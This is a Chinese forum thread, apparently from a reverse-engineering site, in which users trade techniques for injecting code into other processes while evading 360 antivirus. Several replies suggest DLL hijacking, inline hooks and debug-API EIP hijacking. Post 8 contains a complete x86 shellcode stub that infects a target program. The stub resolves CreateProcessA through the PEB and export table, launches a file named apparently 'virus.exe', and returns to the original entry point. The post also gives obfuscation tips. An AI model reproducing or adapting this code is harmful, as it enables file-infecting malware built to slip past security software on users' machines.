能力值:
( LV2,RANK:10 )
|
-
-
2 楼
WriteProcessMemory被360吃的紧紧的
|
能力值:
( LV2,RANK:10 )
|
-
-
3 楼
所以我说嘛 要另类一点的 希望那些 分析病毒的大牛 放出一点方法
|
能力值:
( LV2,RANK:10 )
|
-
-
4 楼
学习 等待 大牛
|
能力值:
( LV2,RANK:10 )
|
-
-
6 楼
学习 等待 大牛
|
能力值:
( LV8,RANK:150 )
|
-
-
7 楼
dll陷阱如何呢
|
能力值:
( LV3,RANK:30 )
|
-
-
8 楼
还有一种直接shellcode感染目标程序进行注入.
asm
pushad
{根据PEB结构获得kernel32.dll基址}
mov eax,fs:$30
mov eax,[eax+$0c]
mov esi,[eax+$1c]
lodsd
dw $9090
nop //分块标志
{=================================}
mov eax,[eax+$08] //eax=Kernel32基址
{根据引出表获得CreateProcessA函数的地址}
mov ebp,eax
mov eax,[eax+$3C] //eax=eax._lfanew
add eax,ebp
mov eax,[eax+$78] //eax=eax.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]
add eax,ebp
dw $9090
nop
{=================================}
mov ebx,[eax+$18] //ebx=eax.NumberOfNames
dec ebx
mov ecx,[eax+$20] //ecx=eax.AddressOfNames
add ecx,ebp //ecx指向函数名数组
xor edx,edx
dec edx
dw $9090
nop
{=================================}
search: //搜索需要的函数名
inc edx
mov esi,[ecx+edx*4]
add esi,ebp //esi指向当前搜索到的函数名
cmp dword ptr [esi], $61657243 //'Crea'
jne search
cmp dword ptr [esi+4],$72506574 //'tePr'
jne search
cmp dword ptr [esi+8],$7365636f //'oces'
jne search
cmp word ptr [esi+12],$4173 //'sA'
jne search
dw $9090
nop
mov ebx,[eax+$24] //ebx=eax.AddressOfNameOrdinal
add ebx,ebp //ebx指向输出序号数组
mov edx,[ebx+2*edx]
shl edx,16
shr edx,16
mov ebx,[eax+$1c] //ebx=eax.AddressOfFunctions
add ebx,ebp //ebx指向函数地址数组
dw $9090
nop
{=================================}
mov eax,[ebx+edx*4]
add eax,ebp
mov esi,eax
{构建字符串}
mov ebp,esp
sub esp,$64 //分配100个字节作为局部变量
mov [ebp-$A],$75726976
mov [ebp-$6],$78652e73
dw $9090
nop
{=================================}
mov word ptr [ebp-$2],$0065 //构造字符串
lea ebx,[ebp-$64]
mov ecx,$44 //填充StartupInfo参数
mov edi,ebx
xor eax,eax
rep stosb //清零
dw $9090
nop
mov [ebx+$2C],$1 //ebx.dwFlags=STARTF_USESHOWWINDOW
lea ecx,[ebp-$20]
lea eax,[ebp-$A] //eax指向文件名字符串
{调用CreateProcessA} 这里自己可以实现LoadLibraryA
push ecx //TProcessInformation
push ebx //StartupInfo
push 0
push 0
push 0
push 1
push 0
push 0
push eax //文件名
push 0
call esi //调用}
dw $9090
nop
{=================================}
add esp,$64
popad
jmp eax //跳向原始OEP
dd $90909090
nop
nop
nop
nop
nop
end;
这里new一块内存,将$0065 分成2字节随机存放。
将LoadLibraryA放到随机分配的内存中去,然后jmp 过去,入口上弄一段随机花.
|
能力值:
( LV8,RANK:150 )
|
-
-
9 楼
加壳的基本原理嘛
|
能力值:
( LV3,RANK:30 )
|
-
-
10 楼
LZ 是想 不通过写目标进程 来插入到目标进程吧
研究些 软件的 溢出 说不定会有 不一样的效果
|
能力值:
( LV2,RANK:10 )
|
-
-
11 楼
再另类的发出来就不另类了
另类还得自己创造
|
能力值:
( LV15,RANK:520 )
|
-
-
12 楼
inline hook LoadLibrary
|
能力值:
( LV9,RANK:160 )
|
-
-
13 楼
多行不义必自毙啊。
直接debug api如何?创建进程时标志个DEBUG,先停一下,保护下寄存器后直接改eip,接着再控回来……
|